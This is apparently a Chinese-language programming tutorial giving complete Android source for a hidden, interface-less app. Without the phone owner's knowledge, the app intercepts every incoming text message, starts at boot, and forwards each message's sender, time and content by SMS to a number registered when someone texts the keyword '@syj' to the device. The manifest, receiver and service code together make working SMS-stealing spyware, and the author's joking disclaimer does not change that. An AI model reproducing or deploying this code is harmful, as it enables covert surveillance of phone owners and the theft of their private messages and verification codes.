本案例是在android手機中運行,是一個沒有介面的簡訊監聽軟體。主要是用BroadcastReceiver來接受簡訊廣播,當接收到簡訊後就跳轉到service中來轉寄簡訊。哈哈,不是用來幹壞事的。這個案例用了個小協議,當使用者安裝好這個軟體後,你先要用自己的手機發送內容@syj來綁定本手機。綁定好後會收到一個ok簡訊用來確定綁定成功。然後當其他人發簡訊給安裝過軟體的手機,你都會收到簡訊了。
主要功能:
能監聽手機接收的所有簡訊
能監聽手機的開機資訊
能將開機資訊發送到指定手機上
能將截獲的每一條簡訊將其發件號碼和內容轉寄到指定手機上
能通過接收特殊簡訊的方法設定接收簡訊的手機號碼
該軟體能開機自動運行
具體代碼
第一步,編寫AndroidMainFest.xml檔案的內容
View Code
1 <?xml version="1.0" encoding="utf-8"?>
2 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
3 package="com.tiantian.test"
4 android:versionCode="1"
5 android:versionName="1.0" >
6
7 <uses-sdk android:minSdkVersion="8" />
8
9 <application
10 android:icon="@drawable/ic_launcher"
11 android:label="@string/app_name" >
12 <receiver android:name=".SMSBroadcastReceiver">
13 <intent-filter >
14 <action android:name="android.intent.action.MAIN" />
15 <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
16 <action android:name="android.intent.action.BOOT_COMPLETED"/>
17 </intent-filter>
18 </receiver>
19 <service android:name=".SMSService"></service>
20 </application>
21 <uses-permission android:name="android.permission.SEND_SMS"/>
22 <uses-permission android:name="android.permission.RECEIVE_SMS"/>
23 <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
24 </manifest>
第二步:編寫SMSBroadcastReceiver.java,主要是監聽到簡訊後或系統開機後啟動SMSservice.java檔案
View Code
1 import android.content.BroadcastReceiver;
2 import android.content.Context;
3 import android.content.Intent;
4 import android.util.Log;
5
6 public class SMSBroadcastReceiver extends BroadcastReceiver{
7 public void onReceive(Context context, Intent intent) {
8 Log.v("Cat", "I'm in BroadcastReceiver");
9 intent.setClass(context, SMSService.class);
10 context.startService(intent);
11 }
12 }
第三步:編寫SMSService.java檔案,具體代碼如下;
View Code
1 import java.sql.Date;
2 import java.text.SimpleDateFormat;
3 import android.app.Service;
4 import android.content.Intent;
5 import android.content.SharedPreferences;
6 import android.content.SharedPreferences.Editor;
7 import android.os.IBinder;
8 import android.telephony.SmsManager;
9 import android.telephony.SmsMessage;
10 import android.util.Log;
11
12 public class SMSService extends Service{
13 private SharedPreferences prefs;
14 private Editor editor;
15
16 public final static String SMS_RECEIVED = "android.provider.Telephony.SMS_RECEIVED";
17 public final static String BOOT_COMPLETED = "android.intent.action.BOOT_COMPLETED";
18 @Override
19 public IBinder onBind(Intent arg0) {
20 // TODO Auto-generated method stub
21 return null;
22 }
23
24 @Override
25 public void onCreate() {
26 // TODO Auto-generated method stub
27 super.onCreate();
28 prefs = getSharedPreferences("_interceptNum", MODE_PRIVATE);
29 editor = prefs.edit();
30
31 }
32
33 @Override
34 public void onDestroy() {
35 // TODO Auto-generated method stub
36 super.onDestroy();
37 }
38
39 @Override
40 public int onStartCommand(Intent intent, int flags, int startId) {
41 // TODO Auto-generated method stub
42 Log.v("Cat", "I'm in Service");
43 Log.v("Cat", "Action--->" + intent.getAction());
44 if(intent.getAction().equals(SMS_RECEIVED)){
45 Object[] pdus = (Object[])intent.getExtras().get("pdus");
46 if(pdus != null && pdus.length != 0){
47 SmsMessage[] messages = new SmsMessage[pdus.length];
48 for(int i=0;i<pdus.length;i++){
49 byte[] pdu = (byte[])pdus[i];
50 messages[i] = SmsMessage.createFromPdu(pdu);
51 }
52 for(SmsMessage message : messages){
53 String messageBody = message.getMessageBody();
54 String sender = message.getOriginatingAddress();
55 Log.v("Cat", "body--->" + messageBody + ";" + "sender--->" + sender);
56 if(messageBody.contains("@syj")){
57 editor.putString("_sendTo", sender);
58 editor.commit();
59 SmsManager smsManger = SmsManager.getDefault();
60 smsManger.sendTextMessage(sender, null, "ok!", null, null);
61 }else{
62 if(prefs != null){
63 Date date = new Date(message.getTimestampMillis());
64 SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
65 String sendContent = "date:" + format.format(date) + "\n"
66 + "sender:" + sender + "\n" + "messageBody:" + messageBody;
67 String sendTo = prefs.getString("_sendTo", "發送失敗");
68 SmsManager smsManger = SmsManager.getDefault();
69 smsManger.sendTextMessage(sendTo, null, sendContent, null, null);
70 }
71 }
72
73 }
74
75 }
76 }
77
78
79 return super.onStartCommand(intent, flags, startId);
80 }
81
82
83
84 }
Date date = new Date(sms.getTimestampMillis());//得到傳送簡訊具體時間
//2009-10-12 12:21:23
SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");//為實踐設定格式